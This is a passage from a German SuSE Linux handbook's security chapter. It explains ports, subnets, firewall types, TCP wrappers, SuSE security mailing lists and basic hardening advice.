kann und um diese Verbindun- gen voneinander unterscheiden zu können, findet die Kommunikation über 470 18.2. Tools sog. Ports (0 bis 65535) statt. Diesen Ports werden Verbindungen zugeord- net, d. h. im Header eines TCP- oder UDP-Pakets werden neben der Adresse des sendenden Computers (Quelladresse) und des Zielcomputers (Zieladres- se) auch der Quellport und der Zielport eingetragen. Ein Teil der Ports 0 bis 65535 ist per Definition für bestimmte Dienste vorgesehen (siehe auch /etc/services). Der TCP-Port 23 ist beispielsweise der Port für Telnetverbindungen. Eine weitere Festlegung betrifft die Ports 0 bis 1023 (TCP und UDP). Sie sind die sog. privilegierten Ports. Auf diesen Ports dürfen vertrauenswürdige Pro- gramme, die zum Teil mit Systemverwalterprivilegien (`root'-Rechte) aus- geführt werden müssen, ihre Dienste anbieten (siehe /etc/services). Die Ports 1024 bis 65535 werden als nichtprivilegierte Ports bezeichnet. Der Unterschied kann am etwas vereinfachten Beispiel einer Dateiübertra- gung mit ftp verdeutlicht werden. Ein FTP-Server bietet seine Dienste auf TCP-Port 21 an. Wird ein FTP-Client auf dem Computer mit der IP-Adresse 192.168.3.5 (Client) mit dem Kommando tux@erde:/home/tux > ftp 192.168.3.16 gestartet, dann baut der Client eine TCP-Verbindung zum Port 21 des Compu- ters mit der IP-Adresse 192.168.3.16 (Server) auf. Auf Port 21 antwortet der FTP-Server und wickelt die Benutzeridentifizierung (Loginnamen- und Passwortabfrage) ab. Auch die FTP-Kommandos, die der Benutzer nach der Anmeldung eingibt, werden über diese Verbindung übertragen. Sollen Daten vom Server zum Client übertragen werden, (nach Eingabe des ls-Befehls oder des get-Befehls) baut der Server von sich aus eine Verbindung zu ei- nem nichtprivilegierten Port des Clients auf. Über diese Verbindung werden dann die eigentlichen Daten übertragen. TCP/IP wurde für sehr große Netze entworfen und beinhaltet deshalb Me- chanismen zur Strukturierung eines Netzes. Der gesamte 32Bit-breite Adress- raum kann in Subnets" aufgeteilt werden. Die Subnet-Bildung erfolgt, indem eine Anzahl Bits (von links beginnend) zur Netzadresse eines Subnets er- klärt werden. Beim Subnet mit der Adresse 192.168.3.0 bilden die ersten 24 Bits der Adresse die Netzadresse. Durch die Subnetmask" (Netzmaske) wird gekennzeichnet, wie viele Bits einer Adresse die Netzadresse bilden. Die Subnetmask 255.255.255.0 legt beispielsweise fest, dass der Computer mit der Adresse 192.168.3.5 im Subnet mit der Adresse 192.168.3.0 zu finden ist. Subnets innerhalb eines großen Netzes werden meist durch Router verbun- den. Router sind entweder spezialisierte Geräte oder entsprechend ausgerüs- tete Computer die dafür sorgen, dass Pakete den richtigen Weg ans Ziel fin- den. Das Gegenstück zur Subnetmask ist die sog. Broadcast-Adresse. Über die Broadcast-Adresse sind alle Computer eines Subnet erreichbar. Beispiel: Alle Computer im Netz 192.168.3.0 sind über die Broadcast-Adresse 192.168.3.255 erreichbar. Ist der Anschluss an das Internet erfolgt, ist der Computer zu einem Teil des weltweiten Internet geworden. Jedesmal wenn die Verbindung zum Provider aktiviert wird, ist er aus dem Internet erreichbar. Jetzt müssen Maßnahmen 471 18. Sicherheit ist Vertrauenssache getroffen werden, um unerlaubte Zugriffe aus dem Internet zu unterbinden. Diese Aufgabe übernimmt der SuSE Paketfilterfirewall. Paketfilter sind Network Level Firewalls. Sie entscheiden grundsätzlich auf Basis von Quelladressen, Zieladressen und Ports in einzelnen IP-Paketen. Ein einfacher Router oder der SuSE Paketfilterfirewall sind traditionel- le Network Level Firewalls. Da sie nicht intelligent genug sind festzu- stellen, welche Bedeutung der Inhalt eines IP-Pakets hat und wo es tat- sächlich herkommt, bieten sie keinen umfassenden Schutz gegen Angrif- fe. Moderne Network Level Firewalls (z. B., SINUS Firewall I für Linux, http://www.sinusfirewall.org) sind höherentwickelt und sam- meln interne Informationen über den Status der Verbindungen, die über sie laufen, den Inhalt von Datenströmen usw. Application Level Firewalls (z. B. TIS Firewall Toolkit) dagegen sind normalerweise Computer, auf de- nen Proxy-Server laufen, die den Datenverkehr, der über sie läuft, sorgfäl- tig protokollieren und überprüfen. Da die Proxy-Server Programme sind, die auf dem Firewall laufen, sind sie ideal für Protokollierungs- und Zu- griffschutzmechanismen geeignet. Wo soll der SuSE Paketfilterfirewall eingesetzt werden? Für Netze mit erhöhtem Schutzbedarf ­ streng genommen ist das überall, wo personenbezo- gene Daten gespeichert werden ­ sind Application Level Firewalls" bedingt durch ihr Funktionsprinzip immer noch erste Wahl. Für solche Netze bietet der SuSE Paketfilterfirewall keinen ausreichenden Schutz. Der SuSE Paketfilterfirewall ist für den Schutz des privaten PC zuhause, des Mininetzes zuhause oder einer Workstation innerhalb eines vertrauenswürdi- gen Netzes gedacht. Für den Schutz von Firmennetzen sollten Sie den SuSE Paketfilterfirewall nur einsetzen, wenn Sie genau wissen, was Sie tun (siehe Literaturliste). Für den Aufbau und die Pflege von Firewalls ist tiefgehendes Wissen über Netzwerke und die verwendeten Netzwerkprotokolle zwingend erforderlich. Eine grafische Oberfläche oder eine vorgefertigte Konfiguration wie der SuSE Paketfilterfirewall können dieses Wissen letztendlich nicht ersetzen. Die Dokumentation zur SuSE Paketfilterfirewall finden sie unter /usr/ doc/packages/firewals und /etc/rc.firewall. Wer sich mit dem Thema Firewall auseinander setzen will, dem seien die folgenden Quellen zum Studieren und Experimentieren empfohlen. Das Firewallhandbuch für Linux 2.0 und 2.2 von Guido Stepken bietet von detaillierten technischen Informationen über die Beschreibung von typischen Schwachstellen und Fehlern fast alles was man wissen muss um mit Li- nux einen sicheren Firewall aufzubauen. Das Firewallhandbuch für Linux ist Pflichtlektüre und nur online verfügbar (http://www.little-idiot. de/firewall/). Das Freefireprojekt ist ein guter Anlaufpunkt für alle die sich für Firewalls auf Basis freier Software interessieren (http://sites. inka.de/sites/lina/freefire-l/). 472 18.3. Sicherheit bei SuSE Linux Der TCP-Wrapper Der TCP-Wrapper (tcpd) erlaubt es, den Zugriff auf bestimmte Dienste ge- zielt für einzelne Netze oder IP-Adressen freizuschalten. Der tcpd ist be- reits in SuSE Linux integriert, wie man in Datei 18.2.2 auf Seite 469 und in /etc/inetd.conf an der 6. Spalte erkennen kann. Das Konzept ist ganz einfach: Der tcpd ruft die eigentlichen Dienste auf und kontrolliert vorher, ob der Client dazu berechtigt ist. Diese Zugriffskontrolle geschieht über die beiden Dateien /etc/hosts. allow und /etc/hosts.deny. * Ein Zugriff wird gewährt, wenn eine Kombination aus Client und Dienst in der Datei /etc/hosts.allow zutrifft. * Äquivalent dazu wird ein Zugriff abgewiesen, wenn eine solche Kombi- nation in der Datei /etc/hosts.deny zutrifft. * Befindet sich weder in der einen noch in der anderen Datei eine solche Regel, wird der Zugriff gewährt. Sobald eine Regel zutrifft, wird diese genommen. Das bedeutet, wenn in /etc/hosts.allow z. B. ein Zugriff auf den Telnet-Port erlaubt wird, wird dieser gewährt, auch wenn dieser in /etc/hosts.deny gesperrt ist. In der Manual-Page von hosts_access (man 5 hosts_access) wird die Syntax dieser Dateien beschrieben. Eine Alternative zur Kombination TCP-Wrapper/inetd stellt der xinetd dar (Paket xinetd, Serie n (Netzwerk-Support)). Er vereint die Funktionalität von inetd und tcpd. Der Nachteil ist jedoch die Inkompatibilität der Konfigu- rationsdateien zwischen inetd und xinetd. Es kann nur einer der beiden Internet Super-Server" gestartet werden. Sie müssen sich also für einen von beiden entscheiden. In der Serie sec (Sicherheitsrelevante Software) befinden sich weitere Pro- gramme, die beim Aufbau eines sicheren Systems helfen. Stöbern Sie einfach durch die dort liegende Pakete. 18.3 Sicherheit bei SuSE Linux SuSE bietet folgende Dienstleistungen für die Bereitstellung einer möglichst sicherheitsorientierten Distribution an: Zwei Mailinglisten stehen für alle zur Verfügung: * suse-security-announce ­ enthält SuSE-Benachrichtigungen zu Sicherheitsproblemen. * suse-security ­ enthält die Benachrichtigungen und ist für öffentli- che Diskussionen offen. 473 18. Sicherheit ist Vertrauenssache Zum Eintragen auf eine der beiden Mailinglisten reicht es, eine leere E-Mail an suse-security-subscribe@suse.com oder suse-security-announce-subscribe@suse.com zu senden. Zentrale Meldung von neuen Sicherheitsproblemen: Wenn Sie ein neues Sicherheitsproblem finden (bitte prüfen Sie vorher die zur Verfügung stehenden Updates), senden Sie bitte eine E-Mail an security@suse.de mit der Beschreibung des Problems. Wir kümmern uns umgehend darum. Sie können die Daten mit Paket pgp verschlüsseln. Unser public pgp key7 liegt unter http://www.suse.de/security zum Download bereit ( Verschlüsselung). 18.4 Allgemeine Hinweise 1. Der Benutzer `root' sollte lediglich für administrative Arbeiten einge- loggt sein. Für die tägliche Arbeit am Rechner sollte ein Benutzeraccount angelegt werden. 2. Vermeiden Sie die Benutzung von telnet, rlogin oder gar rsh. 3. Verwenden Sie stattdessen ssh, wenn remote gearbeitet werden muss. 4. Deaktivieren Sie alle Netzwerkdienste, die nicht benötigt werden. 5. Halten Sie sicherheitsrelevante Pakete up to date, wie z. B. Paket bind, Paket sendmail und Paket ssh. 6. Entfernen Sie suid- und sgid-Bits von allen Dateien im System, die nicht unbedingt für normale Benutzer zum Arbeiten notwendig sind. 7. Die Logdateien sollten regelmäßig überwacht werden. 7 PGP Key fingerprint = 73 5F 2E 99 DF DB 94 C4 8F 5A A3 AE AF 22 F2 D5 474